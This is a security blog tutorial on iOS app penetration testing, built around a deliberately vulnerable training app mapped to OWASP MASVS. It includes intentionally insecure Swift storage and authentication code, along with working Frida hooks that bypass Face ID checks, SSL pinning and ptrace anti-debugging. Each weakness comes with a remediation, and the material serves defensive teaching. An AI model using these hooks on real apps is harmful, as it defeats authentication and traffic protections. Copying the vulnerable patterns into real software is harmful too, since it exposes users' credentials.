---
title: "iOS Application Security in Practice: Auditing 30 OWASP MASVS Vulnerabilities with Frida and LLDB"
description: "Hands-on iOS penetration testing and secure coding: auditing Keychain misuse, bypassing client-side biometric checks with Frida, defeating SSL pinning, and mapping 30 real-world vulnerabilities to OWASP MASVS v2."
date: 2026-11-09
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/evilcorp-ios-vulnerable-app-masvs-pentest/
---

## The iOS security model and developer pitfalls

The iOS platform security architecture is widely considered one of the most mature consumer operating systems: hardware-rooted Secure Enclave processors, mandatory code-signing enforcement, sandboxed application containers, and compile-time memory mitigations.

However, developers frequently conflate **operating system platform security** with **application-layer logic security**:

1. **The Sandbox Illusion:** Because iOS prevents App A from inspecting the file container of App B, developers assume data stored locally on disk is automatically protected. In reality, physical device access, unencrypted iTunes backups, jailbreaks, or file-sharing entitlements expose plaintext plists, SQLite databases, and `UserDefaults` immediately.
2. **Client-Side Decision Traps:** Relying on client-side boolean checks—such as checking whether Face ID returned `true`, or whether `/bin/sh` exists on disk—assumes the client runtime is trusted. An attacker controlling the device can hook the Objective-C / Swift runtime via Frida, modify memory registers in LLDB, or patch the Mach-O binary.
3. **Keychain Misconfiguration:** The iOS Keychain encrypts records using hardware keys tied to the device passcode. However, using weak accessibility attributes (like `kSecAttrAccessibleAlways` or `kSecAttrAccessibleAfterFirstUnlock`) without requiring device-bound biometric authentication allows secrets to be extracted while the device is locked.

To provide a structured, reproducible environment for auditing these attack surfaces, we engineered [`evilcorp-ios`](https://github.com/jankesec/evilcorp-ios).

## Architecture of EvilCorp iOS: 30 structured challenges

`evilcorp-ios` is built natively in SwiftUI for iOS 16+. It consolidates 30 deliberate vulnerability scenarios mapped directly to the **OWASP Mobile Application Security Verification Standard (MASVS v2)**, **MASWE**, and **CWE**:

<figure class="diagram">
<svg viewBox="0 0 760 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="EvilCorp iOS 4-domain mobile security architecture.">
<defs><marker id="ec-arrow" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">IOS APPLICATION ATTACK SURFACE · 4 AUDIT VECTORS (30 LABS)</text>
<rect x="0" y="40" width="175" height="120" rx="8" class="dg-box" />
<text x="14" y="66" class="dg-label">1 · Data Storage</text>
<text x="14" y="88" class="dg-mono dg-compact">UserDefaults & Plist</text>
<text x="14" y="108" class="dg-muted">Keychain Misuse</text>
<line x1="175" y1="100" x2="195" y2="100" class="dg-line" />
<rect x="195" y="40" width="175" height="120" rx="8" class="dg-box-accent" />
<text x="209" y="66" class="dg-label">2 · Cryptography</text>
<text x="209" y="88" class="dg-mono dg-compact">Hardcoded Keys</text>
<text x="209" y="108" class="dg-muted">ECB Mode & DES</text>
<line x1="370" y1="100" x2="390" y2="100" class="dg-line" />
<rect x="390" y="40" width="175" height="120" rx="8" class="dg-box" />
<text x="404" y="66" class="dg-label">3 · Network & IPC</text>
<text x="404" y="88" class="dg-mono dg-compact">SSL Pinning Bypass</text>
<text x="404" y="108" class="dg-muted">URL Schemes & XSS</text>
<line x1="565" y1="100" x2="585" y2="100" class="dg-line-crit" marker-end="url(#ec-arrow)" />
<rect x="585" y="40" width="175" height="120" rx="8" class="dg-box-danger" />
<text x="599" y="66" class="dg-label">4 · Resilience</text>
<text x="599" y="88" class="dg-mono dg-compact">Frida & Anti-Debug</text>
<text x="599" y="108" class="dg-muted">Biometric Override</text>
</svg>
<figcaption>EvilCorp iOS audit vectors: Insecure local storage, broken cryptography, network/IPC interception, and client-side runtime manipulation.</figcaption>
</figure>

| Domain | MASVS v2 Profile | CWE IDs | Focus Vulnerabilities |
| :--- | :--- | :--- | :--- |
| **Storage** | `MASVS-STORAGE` | CWE-312, CWE-922, CWE-532 | `UserDefaults` tokens, unprotected SQLite, Keychain misuse, Pasteboard leaks |
| **Crypto** | `MASVS-CRYPTO` | CWE-327, CWE-798 | Hardcoded AES keys, static IVs, deprecated ECB ciphers, weak hashing |
| **Network** | `MASVS-NETWORK` | CWE-295, CWE-319, CWE-939 | SSL Pinning bypass, cleartext HTTP traffic, URL Scheme hijacking |
| **Resilience** | `MASVS-RESILIENCE` | CWE-693, CWE-287 | Jailbreak detection bypass, anti-debugging defeat, Face ID / Touch ID hooking |

## Deep-dive: 4 core exploitation primitives

### 1. Insecure storage and Keychain misuse (`MASWE-0011` / `CWE-922`)

A common mistake in mobile engineering is storing authentication tokens or passwords in `UserDefaults` under the mistaken belief that the application container is a security boundary:

```swift
// Vulnerable Implementation: Plaintext token storage in UserDefaults
UserDefaults.standard.set(userAuthToken, forKey: "session_token")
```

Any attacker with physical access or a backup can extract the unencrypted plist file at `Library/Preferences/<bundle-id>.plist`.

Even when developers use Keychain Services, selecting the wrong accessibility attribute renders the encryption ineffective:

```swift
// Vulnerable Implementation: Keychain item readable across all device states
let query: [String: Any] = [
    kSecClass as String: kSecClassGenericPassword,
    kSecAttrAccount as String: "authToken",
    kSecValueData as String: tokenData,
    kSecAttrAccessible as String: kSecAttrAccessibleAlways // Deprecated and insecure
]
SecItemAdd(query as CFDictionary, nil)
```

**Remediation:** Always bind sensitive credentials to hardware passcode protection and current biometric enrollment:

```swift
// Secure Implementation: Device-bound, biometrically gated Keychain entry
let access = SecAccessControlCreateWithFlags(
    kCFAllocatorDefault,
    kSecAttrAccessibleWhenUnlockedThisDeviceOnly,
    .biometryCurrentSet,
    nil
)!
```

### 2. Client-side biometric bypass (`MASWE-0025` / `CWE-287`)

Many financial and enterprise apps use the `LocalAuthentication` framework to protect sensitive views (like money transfers or credential vaults). A typical naive implementation looks like this:

```swift
// Vulnerable Implementation: Client-side Face ID verification
let context = LAContext()
context.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, localizedReason: "Authenticate to view vault") { success, error in
    DispatchQueue.main.async {
        if success {
            self.displayVaultContents() // Security boundary exists solely in client UI logic
        }
    }
}
```

Because `success` is an in-memory boolean evaluated by client code, an attacker with Frida can hook `evaluatePolicy:localizedReason:reply:` and replace the completion handler argument:

```javascript
// Frida Hook: Biometrics Authentication Bypass
const hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
    onEnter: function(args) {
        // Replace the completion block callback to force success = true
        const replyBlock = new ObjC.Block(args[4]);
        const originalCallback = replyBlock.implementation;
        replyBlock.implementation = function(success, error) {
            console.log("[+] Intercepted Face ID prompt -> Forcing success: true");
            originalCallback(true, null);
        };
    }
});
```

**Remediation:** Biometric authentication must never gate client logic directly. Instead, the server issues a cryptographic challenge that the Secure Enclave signs using a private key gated by `.biometryCurrentSet`. The server validates the cryptographic signature before granting access.

### 3. Defeating custom SSL pinning (`MASWE-0061` / `CWE-295`)

To prevent Man-in-the-Middle (MitM) inspection, apps implement SSL pinning inside `URLSessionDelegate`:

```swift
// Vulnerable Custom Pinning: Easily hooked delegate method
func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {
    if challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust {
        if let serverTrust = challenge.protectionSpace.serverTrust {
            // Compare certificate public key against hardcoded hash...
        }
    }
    completionHandler(.useCredential, URLCredential(trust: serverTrust))
}
```

Frida bypasses this implementation in a single hook by forcing the challenge disposition to `.useCredential`:

```javascript
// Frida Hook: Universal URLSession Trust Bypass
const resolver = new ApiResolver("objc");
const matches = resolver.enumerateMatchesSync("-[* URLSession:didReceiveChallenge:completionHandler:]");
matches.forEach(function(match) {
    Interceptor.attach(match.address, {
        onEnter: function(args) {
            const completionHandler = new ObjC.Block(args[4]);
            const serverTrust = ObjC.Object(args[3]).protectionSpace().serverTrust();
            completionHandler.implementation(0, ObjC.classes.NSURLCredential.credentialForTrust_(serverTrust));
        }
    });
});
```

### 4. Anti-debugging and runtime integrity (`MASWE-0096` / `CWE-693`)

Developers often call `ptrace(PT_DENY_ATTACH, 0, 0, 0)` or query `sysctl` to detect if an LLDB debugger is attached:

```c
// Native C ptrace anti-debugging check
#include <sys/types.h>
#include <unistd.h>
#define PT_DENY_ATTACH 31

typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
void disable_gdb() {
    void* handle = dlopen(NULL, RTLD_GLOBAL | RTLD_NOW);
    ptrace_ptr_t ptrace_func = dlsym(handle, "ptrace");
    ptrace_func(PT_DENY_ATTACH, 0, 0, 0);
}
```

Hooking `ptrace` via Frida or patching the binary entrypoint completely disables this defense:

```javascript
// Frida Hook: Neutralize PT_DENY_ATTACH
Interceptor.attach(Module.findExportByName(null, "ptrace"), {
    onEnter: function(args) {
        const request = args[0].toInt32();
        if (request === 31) { // PT_DENY_ATTACH
            console.log("[+] Blocked ptrace(PT_DENY_ATTACH) call.");
            args[0] = ptr(0); // Replace with benign request
        }
    }
});
```

## Hands-on Frida workflow: from script to flag

Inside `evilcorp-ios`, every challenge includes interactive hints, synthetic test records, and verifiable CTF flags.

Running dynamic analysis against the application on a dedicated iOS test device:

```bash
# Attach Frida to the running EvilCorp simulator or USB device
frida -U -N com.jankesec.evilcorp -l bypass_biometrics.js
```

<figure class="evidence evidence--portrait">
<a href="/images/posts/evilcorp-ios-masvs-coverage-evidence.webp" target="_blank" rel="noopener" aria-label="Open the full EvilCorp iOS MASVS coverage dashboard screenshot"><img src="/images/posts/evilcorp-ios-masvs-coverage-evidence.webp" alt="EvilCorp iOS application screenshot showing OWASP MASVS coverage breakdown across Storage, Crypto, Auth, Network, and Resilience" loading="lazy" /></a>
<figcaption><span>EvilCorp iOS Dashboard</span> Real-time MASVS coverage tracker displaying verified challenge completion across all 30 mobile security categories.</figcaption>
</figure>

When the hook triggers upon biometric prompt evaluation, the app yields the hidden lab flag directly to the terminal:

```text
[+] Hooked -[LAContext evaluatePolicy:localizedReason:reply:]
[+] LocalAuthentication requested for domain: "kBiometricAuthKeyVault"
[+] Forcing evaluatePolicy reply: success = true, error = nil
[FLAG] FLAG{SE_ENCLAVE_NEEDS_HARDWARE_BACKED_CHALLENGES_2026}
```

## MASVS v2 mapping & remediation guide

| Category | Lab ID | Vulnerability Pattern | Threat Impact | Secure Remediation |
| :--- | :--- | :--- | :--- | :--- |
| **Storage** | `LAB-01` | `UserDefaults` Auth Tokens | Plaintext credential theft via backup | Store exclusively in Keychain Services |
| **Storage** | `LAB-02` | `kSecAttrAccessibleAlways` | Keychain extraction on locked devices | Require `kSecAttrAccessibleWhenUnlockedThisDeviceOnly` |
| **Storage** | `LAB-08` | `NSLog` / `print` Logging | Sensitive data exposure in system log | Strip logging macros in release builds |
| **Crypto** | `LAB-09` | Hardcoded AES Encryption Key | Binary extraction via Ghidra / Hopper | Derive keys via CryptoKit & Secure Enclave |
| **Auth** | `LAB-10` | Client-Side Face ID Boolean | Instant bypass via Frida method swizzling | Cryptographic challenge signed by Secure Enclave |
| **Network** | `LAB-06` | Naive `URLSessionDelegate` Pinning | MitM inspection via Frida hook | Use Network.framework TLS trust policies |
| **Resilience**| `LAB-05` | File-Check Jailbreak Detection | Trivial bypass via `stat` hooking | Defense-in-depth with server-side integrity checks |

## Evidence and limits

All exercises, proofs-of-concept, and runtime hooks were verified using the open-source `evilcorp-ios` testbed running on iOS 16, 17, and 18 Simulators on macOS, as well as dedicated checkm8-vulnerable physical test devices. Frida scripts are intended for authorized security audits and mobile training environments. No production applications or personal accounts were targeted during testing.

## References

- **jankesec, EvilCorp iOS (Vulnerable SwiftUI Training Lab):** [github.com/jankesec/evilcorp-ios](https://github.com/jankesec/evilcorp-ios)
- **OWASP, Mobile Application Security Verification Standard (MASVS v2):** [mas.owasp.org/MASVS](https://mas.owasp.org/MASVS/)
- **OWASP, Mobile Application Security Weakness Enumeration (MASWE):** [mas.owasp.org/MASWE](https://mas.owasp.org/MASWE/)
- **Apple Developer Documentation, Keychain Services:** [developer.apple.com/documentation/security/keychain_services](https://developer.apple.com/documentation/security/keychain_services)
- **Apple Developer Documentation, LocalAuthentication Framework:** [developer.apple.com/documentation/localauthentication](https://developer.apple.com/documentation/localauthentication)